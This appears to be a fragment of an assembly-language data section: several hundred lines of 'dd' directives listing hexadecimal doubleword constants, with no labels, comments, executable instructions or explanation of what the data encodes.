dd 0CE02F246h, 0A34E16C0h, 4008C47h, 6D4FC0B7h, 53E2003Ah
dd 8902A590h, 0F2019BFAh, 20B1ED12h, 65C00379h, 82C9007Eh
dd 0EBEA924Fh, 19314A9Ah, 786EE877h, 9F96AC50h, 0CCC00057h
dd 51FC66DBh, 4800D8CBh, 64827C34h, 8383AD5h, 0CFE71297h
dd 2C39B30Eh, 446D4887h, 85040E62h, 0D3F125A1h, 26DC2889h
dd 0B9F8009Dh, 2FA7C30Bh, 1A00932Dh, 0C372974h, 499C34FBh
dd 7B820CE8h, 0A0829405h, 0C502D713h, 0F194848Eh, 17C0CF60h
dd 11CB4E23h, 0B80B01C1h, 0E5AF7CC0h, 1F988E8h, 0EA371F39h
dd 0A422C42Fh, 46741050h, 16DE001Fh, 9FD30C93h, 1F4EEEF3h
dd 137AA62Fh, 4264B561h, 330B81Ch, 45E81128h, 80D6883Ch
dd 2C283B41h, 0B3168E14h, 30001D46h, 0E899F8CCh, 0CBF92CFFh
dd 48B8671Ch, 0CE605228h, 0A716C9F1h, 93C503B7h, 5F6FFA34h
dd 0EAB081A6h, 0D1D3C100h, 6BF7C71Ch, 4A47B53h, 0F24EDD04h
dd 0E8549117h, 0CA03618h, 61CB8535h, 0D32F185Bh, 4146B1BAh
dd 0F027A233h, 19BCE7F6h, 123F076h, 0EF55710Fh, 0C335B141h
dd 0E6364FB8h, 3E4AA000h, 0F318ED62h, 20DC9072h, 982164D5h
dd 8FFB00F2h, 0F5855C08h, 0FFFDFC17h, 72809D10h, 12C9D58h
dd 0C56C8682h, 76FFDF7Bh, 0EC65010Ah, 81D8E618h, 162C3611h
dd 0CC09BFE8h, 8E2CB1EEh, 0BFEFA810h, 4FF9B501h, 7FDE61Dh
dd 0B70C346h, 372E2146h, 0C3A5E010h, 15AC7682h, 2204B096h
dd 0B17A5146h, 0A102E47Ch, 1B8C1700h, 0FFFE97E9h, 38A76281h
dd 0D8E16449h, 46D19E99h, 38357E4Ch, 0C0D74E5Dh, 12381C70h
dd 81BDF304h, 4CD490AEh, 0E24DC441h, 0C424C83Bh, 0B9E12C81h
dd 0F1AC0300h, 180CCA5Fh, 31D365F2h, 6ACE00E3h, 1F831C0Dh
dd 3B5D5B86h, 225100F0h, 7ED9BB48h, 984652CCh, 3365E60Fh
dd 1C4488F2h, 0F7804805h, 0F44003DAh, 12FB65C3h, 4A3A0171h
dd 372310F2h, 7BE8D73Ch, 0D26F678Bh, 0E1744081h, 7DA5FF0h
dd 0EB87088Ah, 0CFE680B9h, 689816E7h, 75298EE2h, 7379DCD9h
dd 0E83E6218h, 1064C8BDh, 351304D3h, 530CB446h, 249A73F8h
dd 4981AF12h, 288EF884h, 2BC0BE88h, 0F9A2BCh, 0B9F758C9h
dd 0B67C3593h, 3401ACBBh, 0C19B7EB2h, 0BABD51E8h, 13C80F58h
dd 35254A70h, 5EF80E49h, 0A00E39B8h, 36C66F00h, 0A326309Dh
dd 0A55D0F9Ah, 0D0C04527h, 7619BF38h, 8479C0C8h, 826B6C35h
dd 5C501120h, 0C4285F7Ch, 3FFF084Ah, 0BA84681Fh, 0B4902D49h
dd 0A89711D4h, 247F1B88h, 604F18Bh, 987B6659h, 25AFFF09h
dd 0A49CC2FCh, 0E56014A8h, 0FE1038BFh, 0A3B0E346h, 0BE00BFECh
dd 28D53CD3h, 17950D7Ch, 4BF7E27Fh, 6C87EF0Ch, 5E16E886h
dd 121A44A4h, 202D9F5h, 0F1933C80h, 679348D4h, 12A694E4h
dd 256CDBh, 5424F2D5h, 1774E838h, 0C7DA6712h, 19995040h
dd 0F58C30h, 8958282Bh, 10F1ED4Fh, 34D02F02h, 49C5E5AEh
dd 0C180FE40h, 0D61771FFh, 0DF5CC309h, 84998460h, 0C810CB12h
dd 700FC0FAh, 0E1C32F5Eh, 88CA06EFh, 0B4A4C7h, 99EEACE6h
dd 687ECB37h, 81B6C102h, 4733E9BDh, 60C46450h, 3F0E9A2Ch
dd 18791959h, 21F565FCh, 8D009BB5h, 86708CC1h, 7F34C1Bh
dd 9F9F1ECh, 379711FBh, 8E1AC822h, 5409B275h, 2AACE30Ah
dd 4E123414h, 9FFF64C0h, 0C500E9A9h, 9961A24Ah, 0CADAA118h
dd 304DC050h, 516F00B8h, 2834B1FCh, 0D40687ADh, 92EE79FDh
dd 0A7DE0230h, 0FB71BC8Ah, 0A63B4860h, 65E35C09h, 46DCE8AFh
dd 79766059h, 0FC12076Bh, 0C0C06780h, 45EA3AD9h, 0CE05403Eh
dd 6241FE32h, 0B1CFC492h, 1C326EA8h, 0BF6F901Ch, 25CC6C80h
dd 914B8BF5h, 0E7BBD00h, 221E3075h, 6C690127h, 0E6414872h
dd 18466B35h, 2D80A809h, 342F3FCCh, 0A069A782h, 5FB64800h
dd 88F8AB30h, 1B1E82Bh, 7014B2C0h, 0C039AB9Eh, 0F700DA41h
dd 0E83017A8h, 47AE7B6h, 4B1BC8E6h, 0F84C27Dh, 7EADEA31h
dd 0E071C842h, 0BFF1A640h, 0D42B0091h, 0B3F695F8h, 67404151h
dd 0F0264C8Fh, 7FBC4908h, 6E686482h, 0F78D080h, 2151BAB5h
dd 0C843301Ah, 0AF083B5h, 0FF6502CCh, 383078CDh, 70D041Eh
dd 90F1F7F2h, 0E5093728h
dd 7CE27EBCh, 0A9019451h, 5E0BD934h, 4BE95CFCh, 225BB01Eh
dd 222C7627h, 20AD8214h, 0B4C0E5DEh, 2B14D21Fh, 54C02892h
dd 4AB3F9CDh, 0E2EC1DD6h, 51E93Eh, 3B4745AAh, 289B4EEAh
dd 2B9BCF3h, 4C8D58B9h, 808281A5h, 64D182F9h, 61188FD9h
dd 8E021B3Eh, 65F532Ch, 0B21796Dh, 0A68ADBF0h, 0F7E54400h
dd 4707A28Dh, 0CA79E77Eh, 0F9A7FF91h, 0E978016Eh, 6A315DF8h
dd 0D81D0440h, 755E90DEh, 377A006Dh, 0FCF2224Eh, 93E9242h
dd 8118DDA5h, 23167948h, 5298C500h, 468C125h, 0E4407EC4h
dd 489B7D28h, 37F90E17h, 8E31A600h, 1618F658h, 1C4D86Eh
dd 659F880Ch, 0CF58BCC6h, 0C0E67C20h, 2A4B0BEFh, 0A8700A46h
dd 9C4ACC1Ah, 706C5B21h, 0C601088Eh, 195A26FCh, 2420B548h
dd 60A8410Ah, 80407EA0h, 9032545Eh, 3B940099h, 4A37DE67h
dd 0B50E3D34h, 1D7C6A43h, 3C00C357h, 35E7C904h, 0F6CCB6ECh
dd 7D3B1100h, 9CE87418h, 4AB4A08Ah, 4880822Fh, 0E625431Bh
dd 0F65F3700h, 0A545D338h, 49CB12D9h, 4020C494h, 1D9F525Ch
dd 0BE00F8E0h, 2E0EA0B6h, 14E0595h, 0B976659Ch, 248DF151h
dd 61625EB8h, 48C8DA39h, 278B6Ch, 55EA9498h, 0DF4D60Eh
dd 1DFFFE0Ah, 180098B4h, 0C17EE545h, 0F3E23FC8h, 0A1010240h
dd 39BABD09h, 14709EDDh, 0B77C160Eh, 0CB20E061h, 9C204E5Eh
dd 80D251A7h, 67520566h, 1F023A0h, 4E18C0D0h, 898C73B3h
dd 60708E0Ah, 0BFCB4B25h, 269498D5h, 42E0F88Dh, 5E052AE6h
dd 254CF4h, 0D7263364h, 4A84114Dh, 60B9EE00h, 7BFD18CAh
dd 4C9C0B05h, 0D0C6B32Ah, 0B6CD6645h, 4613643Dh, 0FD542021h
dd 0C640FE07h, 406E5F1Fh, 0E1029488h, 90070A91h, 0F8B21DC9h
dd 0EF3B011h, 9E46B3DCh, 0D93962A4h, 0D6593CDBh, 3C3C35ECh
dd 2B00DFB6h, 391C5CE6h, 0FB0F4637h, 6305A9B2h, 0FD5EBEABh
dd 0F3F08440h, 963D2Eh, 8FCB22C0h, 5F7FF950h, 0DDCBF01h
dd 627AB034h, 0D004B42Ch, 0E1989BB8h, 0EC703CC4h, 36008C27h
dd 688F4902h, 0BDC8299Fh, 0C066C409h, 80980D38h, 947EF237h
dd 90E8E924h, 71D0B9FCh, 0A2188Ah, 2825AD63h, 0D9F957B8h
dd 3A0E950Dh, 5AC478F6h, 2C8B5CFEh, 19CAE986h, 0D8E6B500h
dd 2B989DB1h, 3146001Eh, 61B43FE1h, 224881BDh, 8C304A70h
dd 82E2E32Ah, 8765B082h, 60A2E504h, 203171F2h, 387EC860h
dd 66170B8Bh, 74B0A3C9h, 98052200h, 0ECB73A09h, 7C3B050Eh
dd 0A252CC8Bh, 18E917ACh, 0B913C4A3h, 0FDECD193h, 0F23422D8h
dd 473F308Ah, 3729441Dh, 50FCC5Fh, 5424C1D9h, 0E460C54Ch
dd 0F2C18390h, 7408388Bh, 9DBE8214h, 903A4B98h, 36008923h
dd 0AE9892A5h, 0D2310097h, 68FB3493h, 0F1247A5Dh, 3611440Dh
dd 6778AE00h, 0E71F053Fh, 4EAC4600h, 25225345h, 0F3951658h
dd 7E18001Dh, 71FFDFE3h, 5E494817h, 41C44CC2h, 87AD474h
dd 5397A390h, 2C903416h, 9488C151h, 0C24676CCh, 0B4B7C90Fh
dd 6F845543h, 0C6E8D993h, 0DF07830Fh, 67C7CBE5h, 760C8589h
dd 1FFBA4D7h, 80C19130h, 0C77926A0h, 35B80920h, 7082A2BAh
dd 97180547h, 0A6A18381h, 71106C35h, 44A7A2Fh, 648BE000h
dd 5AC08AC8h, 79945933h, 3F25767Bh, 0E593E7D1h, 3564C8C5h
dd 3997FB88h, 1C1D4DF2h, 0D8B34C98h, 723122A0h, 0C61138E6h
dd 188870Ch, 9459543Ah, 0B77B13C5h, 72D04CA6h, 0CC4C5748h
dd 8C23F858h, 2C1F8905h, 0A2C0086Ch, 0BE935E22h, 41AD4430h
dd 0D43F09ABh, 81FB6882h, 7840A0DAh, 70C1A6CCh, 607FE3Ah
dd 1803202Ch, 0D0A3E246h, 3F81301Ah, 51C40B0h, 95C88076h
dd 1531BA0Ch, 1452108Eh, 641A45FAh, 19013A23h, 12BAC98Ch
dd 40882618h, 0A8C0011h, 0EF78F9C8h, 0E078D0EDh, 4E8EB900h
dd 0DC79B866h, 0C42CA528h, 0F51C602Ch, 786D58F9h, 0EEA1A88Fh
dd 0FC740B44h, 0C00C0B5h, 213B2D3Eh, 4A927C37h, 0A4A041DAh
dd 0F01A2A50h, 4103696Bh, 548ABC01h, 0BE338838h, 0A64E0A20h
dd 1F887B7Dh, 0B734001Bh, 0CA7549B6h, 0F1AEB0A0h, 8C026F28h
dd 6965EB25h, 0DAC8B390h, 8109009Ch, 0BC22FC4Bh, 4D000FE3h
dd 3D91B658h, 9821F029h, 317B0204h, 0CBBF97A1h, 6547E05Ch
dd 0EFB932h, 0ED630546h, 4E097498h, 0EA40CBE8h, 7B05938h
dd 0E0E24BF9h, 2C3DBF85h, 0AF1A9200h, 5145C1B8h, 1C389ED6h
dd 0BD3904D0h, 0FE588868h, 8488F94Ah, 0FD058CB6h, 0C45EA27h
dd 3FC0DCB2h, 0D1612835h, 0CD132EE2h, 34906DE9h, 4472C2h
dd 1BF7A005h, 98486EADh, 5F0CBD07h, 68112F2h, 9FC04E82h
dd 0C475F9B5h, 7E00D82Dh, 0ADEAD65Ch, 83019C1Ch, 5147BDE9h
dd 4B61AED4h, 0CBC3AC41h, 202B2A09h, 0AC012E23h, 725E8292h
dd 8B88442Fh, 0CC7B01A7h, 518CC04Ah, 33393C5Dh, 0D9393A3Fh
dd 71122E30h, 0E4BD3032h, 0F8D490C8h, 0C1B566Bh, 0C8648725h
dd 31A3DCE5h, 64FA9C01h, 6EA42E33h, 0A000C062h, 8E03B0F6h
dd 0CB0018A7h, 0E1B36BA2h, 0E0905594h, 7AA03080h, 0D3FEABB0h
dd 0E018A099h, 3E815141h, 6C50895Ah, 34B14343h, 0A88E29A1h
dd 7EC38988h, 955988BEh, 0C7EB0491h, 0A9DA4329h, 80FD0934h
dd 17B68054h, 1115CA4h, 0AAA70895h, 0CC02019Dh, 0B816C987h
dd 44C81849h, 0CD058CEBh, 0BB4E15C0h, 500288Eh, 2838C0B6h
dd 0C8FE10E9h, 3224D100h, 71AF87E8h, 0F62490C9h, 94064D4Ah
dd 0FDBBC509h, 8FD1A871h, 83018D18h, 643A7B32h, 34706605h
dd 41480B22h, 0E04C27FAh, 35090262h, 144CFA4Ch, 0BC4816E4h
dd 0C5246722h, 4D09E4F1h, 0D4C22B9h, 0C90E00Fh, 230584CDh
dd 0C2B53B72h, 3E811081h, 4CF3D824h, 0C125D46Bh, 8482B8C2h
dd 9300D7FFh, 0D671795Ah, 0CB741228h, 0C08F8854h, 58435191h
dd 0B03CCD01h, 6D2BC8B6h, 40AAC460h, 0A716FF98h, 484CE0Dh
dd 9110A8A6h, 514812AEh, 2CFD04E4h, 87E8CA07h, 8565C67Dh
dd 80E8F036h, 823A221Bh, 0AC35E358h, 3B02E0BDh, 0C709A77Eh
dd 275458C8h, 6890107Ah, 828001FEh, 0CCCD58F2h, 1EAE8D11h
dd 0A8E88918h, 84B9272Ch, 0D8834E65h, 0AF3802A9h, 2F17BE59h
dd 0E9E6A08Fh, 6B225816h, 0BCF300A6h, 4947F0B6h, 80B49792h
dd 2B3B188h, 127E414Ah, 0D864E476h, 74B800E8h, 0EAD8018Ch
dd 0FE4147B8h, 4A07D7Dh, 0D3223A99h, 5020C8h, 6CCF67C6h
dd 0E8C2FF9Eh, 11B01795h, 0C12E81D8h, 91CC236Ch, 8D084E9Ah
dd 0D1F9D8B0h, 0A4E1704h, 8CF9C99Fh, 0C46C752Eh, 0A7D5EAFh
dd 9C432DCCh, 99D2D30Bh, 0E18D86E4h, 0F8A1375Eh, 32272794h
dd 0C6490h, 0B84AE5B0h, 0C60C448Ah, 24D1BC3Ah, 0B3F749Dh
dd 2C923D7h, 19677554h, 258183D6h, 0AC224846h, 35A73704h
dd 0ADB94861h, 0F6340805h, 9E919CACh, 0ED26F23Ch, 0C0CBC040h
dd 0EB464E1Bh, 0ED98BD22h, 7236C058h, 53FD1202h, 90E2AF0Ah
dd 449EC998h, 444FE38h, 124212A6h, 4DA4A481h, 8A8A0CEBh
dd 18346461h, 0CF8C0817h, 2DC442BAh, 8C0FC05Eh, 0A8615E41h
dd 0A76D58C4h, 35223632h, 8508544Bh, 84CBF9C5h, 0EDF02D1Ch
dd 482153Eh, 280230B1h, 0F47F45E6h, 42D44486h, 81283A2Fh
dd 0E3100CF8h, 0ACDFCC41h, 1284710Ch, 88D6859Fh, 958098F0h
dd 0C564D0Eh, 0CA88481Fh, 61F801FCh, 367A9941h, 713EA000h
dd 0D0A38839h, 18452184h, 84300E78h, 11F65521h, 8DCC181h
dd 2F2A8A1Ch, 127123E4h, 51E9027Fh, 30E965F5h, 2E082027h
dd 8C1D028Ch, 0A8F2BAC5h
dd 3C401859h, 1DB98C15h, 1946CF4h, 72594644h, 0C93C232Ah
dd 99C7434h, 985A4935h, 9DE6E401h, 3F2A5473h, 43F9835h
dd 8254A04h, 4BE1168h, 0CCD309C5h, 8AD58088h, 412245Eh
dd 292898E3h, 0F8752144h, 80FEA4BDh, 1A603944h, 0BA29CA8Ch
dd 291178EAh, 8C11F707h, 7BD1D0EBh, 1904F5B3h, 0E9226B83h
dd 0E98390DBh, 30B09D6Ah, 0DC5B33ADh, 18F02412h, 0B92E2E50h
dd 0F254615Ch, 44028EBh, 235AFDC4h, 7F4423BBh, 54250901h
dd 7830F245h, 17FCA0C2h, 2DC847B7h, 78A0AF7Bh, 22C73B0Fh
dd 0C6D6CC1Dh, 78C81917h, 2E574ECEh, 0B2E231Ch, 0FBC3B349h
dd 2545C03Ch, 11C4496h, 99842F41h, 7D557151h, 6A0782E8h
dd 0C11805CAh, 76681138h, 527B0434h, 0E2356295h, 3074B228h
dd 0D63F4414h, 0AF27FA7Ah, 1D18E2EEh, 80D711DCh, 0D2C775E6h
dd 0E4309774h, 97497C79h, 12F232Ch, 0BACC8C1Ch, 882C18FAh
dd 8C7E143Dh, 0AB559A03h, 4DC0709h, 0A59002F8h, 770A95Dh
dd 983A0F60h, 70E56FA0h, 97E63BA9h, 96EB7900h, 0ECF9C0DBh
dd 0C9E75814h, 33122E0h, 60404AFAh, 0A783D903h, 93BCE9B8h
dd 57872C01h, 2FAD3BAEh, 0E790202Eh, 4B002841h, 7981F0Ch
dd 0E89C73h, 11622F64h, 0A9B302D0h, 68EEE032h, 91C897D9h
dd 479C8E90h, 3890DA48h, 606E7708h, 0F1EC2180h, 7B01964Dh
dd 2AF3E7AAh, 0C203FA5h, 35521261h, 0C7449C99h, 0E0CB1D4Ah
dd 0CFC0C3C8h, 2B1B4CEh, 0AF7CC1BDh, 3448A139h, 0D512ED24h
dd 0F5129DBAh, 6D103890h, 2AA9C064h, 0EB1724Eh, 4A3B901h
dd 0C10BB8D0h, 40ED0470h, 0C558E9BCh, 0C7651040h, 0B1350F02h
dd 8C4466EBh, 1BCC6C00h, 5880942Fh, 4045B18h, 5C63546Ch
dd 49110840h, 7B45E9C9h, 529109D4h, 10D47479h, 0C7BD7884h
dd 26A24CE3h, 49D430h, 0AF89C85Eh, 7B5EC6Fh, 28B38B02h
dd 4C40CC3Bh, 98E50170h, 515A9337h, 0BC1C6486h, 22B86158h
dd 1B70367h, 57C8F670h, 77F1AD80h, 0B30D74B2h, 387AD931h
dd 95AC006Ah, 665E7B4Eh, 6988FB54h, 9FEF7200h, 0AA138DEh
dd 41403CBh, 34F0C9DCh, 0B6D5F001h, 33A59381h, 5710883Ch
dd 8EC513D0h, 0FFC79405h, 59B938C0h, 38963071h, 37F2A38h
dd 46768CB4h, 34B60026h, 0A03DF1F4h, 72E11AF8h, 7C58CAB3h
dd 0B9464F12h, 0DC040013h, 1F00BE69h, 0C76FF1CEh, 8C90B09Fh
dd 0C42F00E1h, 269925Dh, 0E002014Ch, 50F57903h, 541C421Bh
dd 72465E9Ch, 0B57C270Bh, 5AAE8410h, 0B68090E4h, 9CA09FD9h
dd 0E7868E89h, 0CE184800h, 9B4EE43Dh, 0CC40075h, 0C045A96Eh
dd 1177047Ah, 0E8BCA195h, 0E0EF8941h, 17A9BC78h, 2184B9Dh
dd 0F3E33634h, 0FA716C51h, 8A013618h, 4A7002DDh, 0EC4CAF71h
dd 0C22F01DFh, 1BF24E6Eh, 80F049A7h, 24A5B518h, 0FA6FE33Ch
dd 0DEF528FFh, 0D44B2AFCh, 2C53E0F0h, 4078D34Ch, 1272C7F7h
dd 71114901h, 0F67956FCh, 2560203Ah, 0AE01CC9Eh, 49145A75h
dd 1CEC2E81h, 94B50038h, 0A0500EE8h, 0B89371B2h, 0D2853509h
dd 0FA4D0C94h, 1C80E3F3h, 4BBB7E0Ah, 0FE02C653h, 71D52D9Fh
dd 0E5A74154h, 3E9F08F4h, 29EBD9AEh, 35256C53h, 90123BF4h
dd 0DEAC3085h, 36001C7Ch, 27E6BBC7h, 0E87949Fh, 525F42D1h
dd 2203C6C1h, 0AF29D015h, 0EA7880B5h, 5E09AE0Eh, 3014876Bh
dd 1C67971Dh, 0D97E4801h, 0DBED7282h, 30785FFCh, 0B21764F9h
dd 0DC0901BEh, 0DC9D59B8h, 406E4564h, 816FFB9Ch, 0F4CF0ADh
dd 5A1A7628h, 51288341h, 7B6242F0h, 27325D02h, 3741B022h
dd 6F00DAD3h, 16B50593h, 7D82AEA0h, 3A011AF3h, 0CE179BDh
dd 0F8C7149Fh, 0C304C578h, 0B2A545C4h, 3C40C038h, 179EE28h
dd 0C4899575h, 0C2BB0A54h, 49AF3060h, 1588249h, 2C740B24h
dd 8C725EFEh, 0A4308500h, 0F57BB232h, 0B5A62500h, 2915AC9h
dd 54D907FAh, 726E0F9Bh, 9869F188h, 45CA82E4h, 0D02BEE79h
dd 0B7FEF828h, 0FA91E817h, 0F88EE484h, 5A51135Ch, 27E01CA0h
dd 18E86682h, 0B4006E80h, 8EB8728h, 0B35267Dh, 0D9487EC8h
dd 0D244D067h, 4EA5B060h, 0C8D70A17h, 85A46446h, 0C4288588h
dd 672560D3h, 0F1D000B0h, 586B5378h, 480F46DFh, 814F50AEh
dd 28457C57h, 2A7AA1FBh, 7B13FC28h, 2D14F3B5h, 0CC0E437h
dd 8F565946h, 0C2057F28h, 81A249CBh, 0E51064F9h, 228004BDh
dd 0E4E29586h, 0DE01DB22h, 97E7A128h, 162E1FF2h, 23FC3A10h
dd 0D4CC0029h, 4D1C2A2Bh, 30394A1Fh, 0A0C73880h, 778A81B8h
dd 16889A95h, 17F1CECh, 4958CCB4h, 0CFFBE8EBh, 0DF75E905h
dd 0A8E663FAh, 0DE1E78E0h, 600106E2h, 75045948h, 0F0886386h
dd 44016737h, 2F665334h, 206D1197h, 2E0825D8h, 1400907Ah
dd 16FBEED4h, 4A125362h, 0DA640947h, 0B927ACC8h, 61777B00h
dd 7DE8A75Bh, 84E74B7Fh, 88748ED0h, 3409C08Fh, 470213D7h
dd 5498232Fh, 8584F14Ch, 0FCE45352h, 8CD5BCF8h, 19566A02h
dd 74F5B7FEh, 9621849Ch, 0D4E6007Eh, 9A6F4C94h, 39082754h
dd 8A647867h, 0BD2B1C60h, 5867EF00h, 0E82239F7h, 0C7FD16CAh
dd 8EB213E1h, 0C12EC8D8h, 63813574h, 57120854h, 828829CBh
dd 943251FEh, 0DC795A31h, 5306B4Eh, 0CEDADCC1h, 0C35BA840h
dd 3F204Ah, 6E1428E1h, 0C7A20DE2h, 8B095739h, 41262145h
dd 0F98DE798h, 30A176E2h, 0F0FE73C4h, 1F231400h, 0C8E32D08h
dd 5D7F27E7h, 47D81084h, 0C6B409ADh, 0B2BF9904h, 30C2F20Ch
dd 2F0027DFh, 76116783h, 7FD3DC3Eh, 0DDF200F9h, 242581CFh
dd 7B38B0C6h, 3D9F0960h, 371002D1h, 0F1F4D1C5h, 0A918C2h
dd 0E099544Fh, 2B447995h, 685DAE2Fh, 1F596734h, 0E8077Eh
dd 4AA6B503h, 80ADD37h, 50FA5431h, 618E3881h, 0A070A699h
dd 0A3D4443Fh, 0B592AF0h, 39AF1EB0h, 3000A8D3h, 65F54445h
dd 1461485Bh, 16038384h, 40F77428h, 8127BDC5h, 0CA508494h
dd 0F0F8D8B8h, 310E1C8Ch, 0B434CF53h, 0B8599F44h, 4DCC047Ch
dd 84108277h, 3474E2C1h, 9699207Dh, 0BCB0DA05h, 0E42ECCh
dd 0EF7F3235h, 54646C61h, 37DF0B00h, 7B2EB91Dh, 58BC4CEDh
dd 0D642401h, 0C9CFDA7Dh, 40A47CBBh, 9807FDF0h, 35615D80h
dd 5E65C592h, 0D91B898Ch, 60D3A03Ah, 2D0F4970h, 0E8E477F9h
dd 0A73EDA00h, 7C711EF6h, 236B026Ah, 0E581E2D8h, 0E445CC44h
dd 0A0A672C9h, 0E0CF964Ch, 450B5440h, 911131B3h, 93F6FA8h
dd 44F815C8h, 9178979Fh, 696A808Ah, 9B990C7h, 40E177C5h
dd 0A8ED7C02h, 4D42C824h, 0DE1BF2h, 0EE1C3980h, 5E4FEE8h
dd 981E2811h, 0F234B244h, 50103026h, 0BE33EC00h, 113527ACh
dd 7152127Bh, 0CEF0D19Eh, 3A930041h, 9E49C55h, 649FBE6Eh
dd 12808F91h, 0B0D6063Ah, 29A3470Ah, 4A97A84Bh, 57B3CD0h
dd 0BA80C48Eh, 0C0020043h, 9A365DBFh, 5A9313DCh, 0C840F0DDh
dd 907EFD22h, 0C7E3386Ch, 7BCA7602h, 44BA9B7h, 0A1867FE0h
dd 526ED30Bh, 0D904517Dh, 0CF4188Eh, 0D56C6797h, 89091A8h
dd 8CC07C64h, 1672FD4Eh, 2134C0E8h, 0C73FF3E7h, 0E06802BFh
dd 0F4316E42h, 0D1DE1898h, 0ED245291h, 7D46307Ch, 88A4250h
dd 43C785B7h, 401E5E2Ah, 3D093AB8h, 20C4FA87h, 220AFDF3h
dd 84C6B548h, 0EB24D310h, 60B464ACh, 2EE42837h, 73681C45h
dd 7B282FE0h, 0EBBF1E00h, 29AE928Ah, 4822FFB7h, 2DBE03Eh
dd 0CA270AA8h, 0C5B3D301h, 0DB88384Eh, 8D1344C0h, 1FB4EAB2h
dd 923D7A85h, 51884FC7h
dd 6EC9B41h, 863BE069h, 539F7001h, 65ED5AB7h, 99DC202Bh
dd 0E6000A50h, 7D7AD748h, 131EA02Eh, 0A257AB74h, 301FE254h
dd 0A200563Fh, 0C271DE37h, 144CFA7h, 68E5DF10h, 0C1D0419Fh
dd 21C47CBBh, 5620AE14h, 4007D946h, 0D0DF298Ch, 3496F349h
dd 4F542500h, 0AC8D3808h, 8E711Dh, 3FC15029h, 23253CCDh
dd 65E7E41Dh, 0E52CC02Fh, 0D4A09F5Dh, 16F82737h, 9ADB0C00h
dd 0F1710B43h, 27FEC13h, 7AC04A72h, 8CB7CBE6h, 7C7E2180h
dd 64A5E9h, 0D99C0D14h, 0FFFE7D47h, 1491B15Fh, 0C038D321h
dd 49C30B70h, 0A0702251h, 0BCA0E04Ch, 9058C74h, 53CBAD73h
dd 0B56B94A4h, 5276C890h, 61C3E200h, 49F264D1h, 0EE483021h
dd 0B7AFF980h, 0B4801526h, 1892400h, 3BB413h, 3FB50492h
dd 6F1A063Dh, 1E31AF09h, 0FA88A0DCh, 0B8D3EEF1h, 9C8C0284h
dd 1D869103h, 28814089h, 0DDE7FEF2h, 1389BEDDh, 0F8E07D18h
dd 12548076h, 680A4E2Fh, 95025EE8h, 10376406h, 38A6B611h
dd 0E2130858h, 9E0E37Ch, 608F0253h, 2431B990h, 84C09F75h
dd 1DE3F1Ah, 7B8BBF91h, 0D4E8D038h, 240C058Ch, 88D9CBA5h
dd 4900ADA4h, 0ECC49DF2h, 0B8EFC168h, 0DBAB2068h, 0CE65E811h
dd 48C4DF00h, 0E25C1318h, 60BC5558h, 5B2A4CCEh, 78119DFFh
dd 0CC942EBAh, 4BACE8F9h, 22119200h, 426239EEh, 0B4445051h
dd 0ED05EF59h, 89B890h, 0FBB72127h, 3A016DE6h, 0C48CF525h
dd 11F844A0h, 2D2FDF01h, 0B8DD02FAh, 0C823E189h, 0C311D4D1h
dd 0CCB84A77h, 3A024884h, 7F2A4B4Eh, 138828CBh, 0A9F831BBh
dd 89839FAh, 45C7EF24h, 0F29CC89Eh, 24C9D724h, 5EC85E52h
dd 4B00C346h, 0D7BCB313h, 0D33039FEh, 0C88B1D0h, 437A004Ah
dd 0C14F5D69h, 12030ACBh, 0C8A0C4A1h, 7FFC021h, 0C44497F3h
dd 76A78612h, 0C4CA6005h, 0B281B0ECh, 24C159B8h, 4904ED68h
dd 5F73ABB3h, 650080F9h, 5EDD2303h, 9A39D1A5h, 5DA69DA2h
dd 4C541480h, 794618E8h, 0A285F793h, 1A79482Eh, 1BD76091h
dd 0F77391CCh, 0ADD28C40h, 0CDC8A38h, 0B6173D4h, 0CC9FE44h
dd 0D80EB0C3h, 0B4EE8293h, 4622042Ch, 34B8D241h, 9C505125h
dd 0D9335F30h, 3C554890h, 0E1D9F3Ch, 0D067564Dh, 0C5EF9D24h
dd 11BC5400h, 0A110ACD3h, 0A2DF009Bh, 9C96A620h, 7401024Bh
dd 7BE8C90Bh, 2E3BD9B5h, 27323FCh, 5AFDF571h, 0FCFD1C43h
dd 7D398410h, 0F6DC2300h, 6C172F4Ah, 6CA209A7h, 46277210h
dd 2CE24AF4h, 8730D8F2h, 0AA8A00A6h, 0A5DCC755h, 69305A80h
dd 7C8C8073h, 49493B9h, 0C4768A28h, 0E840AA98h, 80BA481Ch
dd 49CB0BCCh, 88DB81DDh, 0B4DCD0h, 4E94AFB7h, 766EB275h
dd 7247C988h, 0B0D6000Dh, 8E617340h, 17005A87h, 8C4D8D7h
dd 4A8A520Ch, 0A2B0F37Dh, 65CB30D3h, 0AB582095h, 0E8E832FDh
dd 46210B16h, 9420EB49h, 0AE86BCE6h, 4027F12Dh, 0BA770150h
dd 0CCD12730h, 381A34A2h, 0F8C12E06h, 0A4711F02h, 4211305Dh
dd 99017CD6h, 0F6CDDFC0h, 0B43C7881h, 28F95289h, 37188EF1h
dd 12895F13h, 0DA0DF40Fh, 4AD10358h, 9D290BF4h, 0D479CE06h
dd 0B041540Ch, 6C34445Dh, 792F4479h, 0A9600096h, 1C6B694h
dd 3654100Bh, 28CEA68Fh, 8CD9EC28h, 43E9B300h, 7FB6CD0Ah
dd 0D47004E6h, 0C3238A1Fh, 0EB87D58h, 6309FFDFh, 5182CC46h
dd 182779FCh, 1F4D04E0h, 0C17813C8h, 701B8940h, 0C1004CDCh
dd 6CE5DF1Eh, 612F0AEh, 0FFC81DD1h, 8104417Ch, 389E995Ah
dd 8E0C35BEh, 0C18E888Ch, 0E406A131h, 716FE65h, 0CCA0A5B6h
dd 4D538861h, 0E4B60A7Eh, 9B362385h, 0A06B90C2h, 8DA69FCCh
dd 5739CCC6h, 2F14DE91h, 0CAF094A2h, 0F32590B8h, 0AA177874h
dd 9C39B60Ch, 2FCCF8A2h, 48E5709h, 0BEC57F44h, 0DA23EC3Bh
dd 0B89B1C00h, 1324BE0Fh, 8CD8EAF8h, 12E99F34h, 0AF5854B8h
dd 0F4A18C0Dh, 9A209802h, 0A45020D3h, 834ADAB0h, 20AF3CD2h
dd 383E5946h, 19DB4B4h, 935EE148h, 3C640422h, 0B7FA026Ah
dd 0E51B07DEh, 52AC425Bh, 4480D357h, 303E22DDh, 10AF491Eh
dd 0BB18F180h, 2D547AECh, 200E9B0Ah, 5FE5A161h, 0BC302C86h
dd 781C8CD5h, 0A70BB743h, 0C507081h, 2E9E42C6h, 49D85C9h
dd 508C22ECh, 0D59C400Dh, 0C0887B5Bh, 4E430009h, 9794BB2Ah
dd 750093BAh, 0F3E7F8Fh, 4B1601B3h, 18F0906Eh, 320028ADh
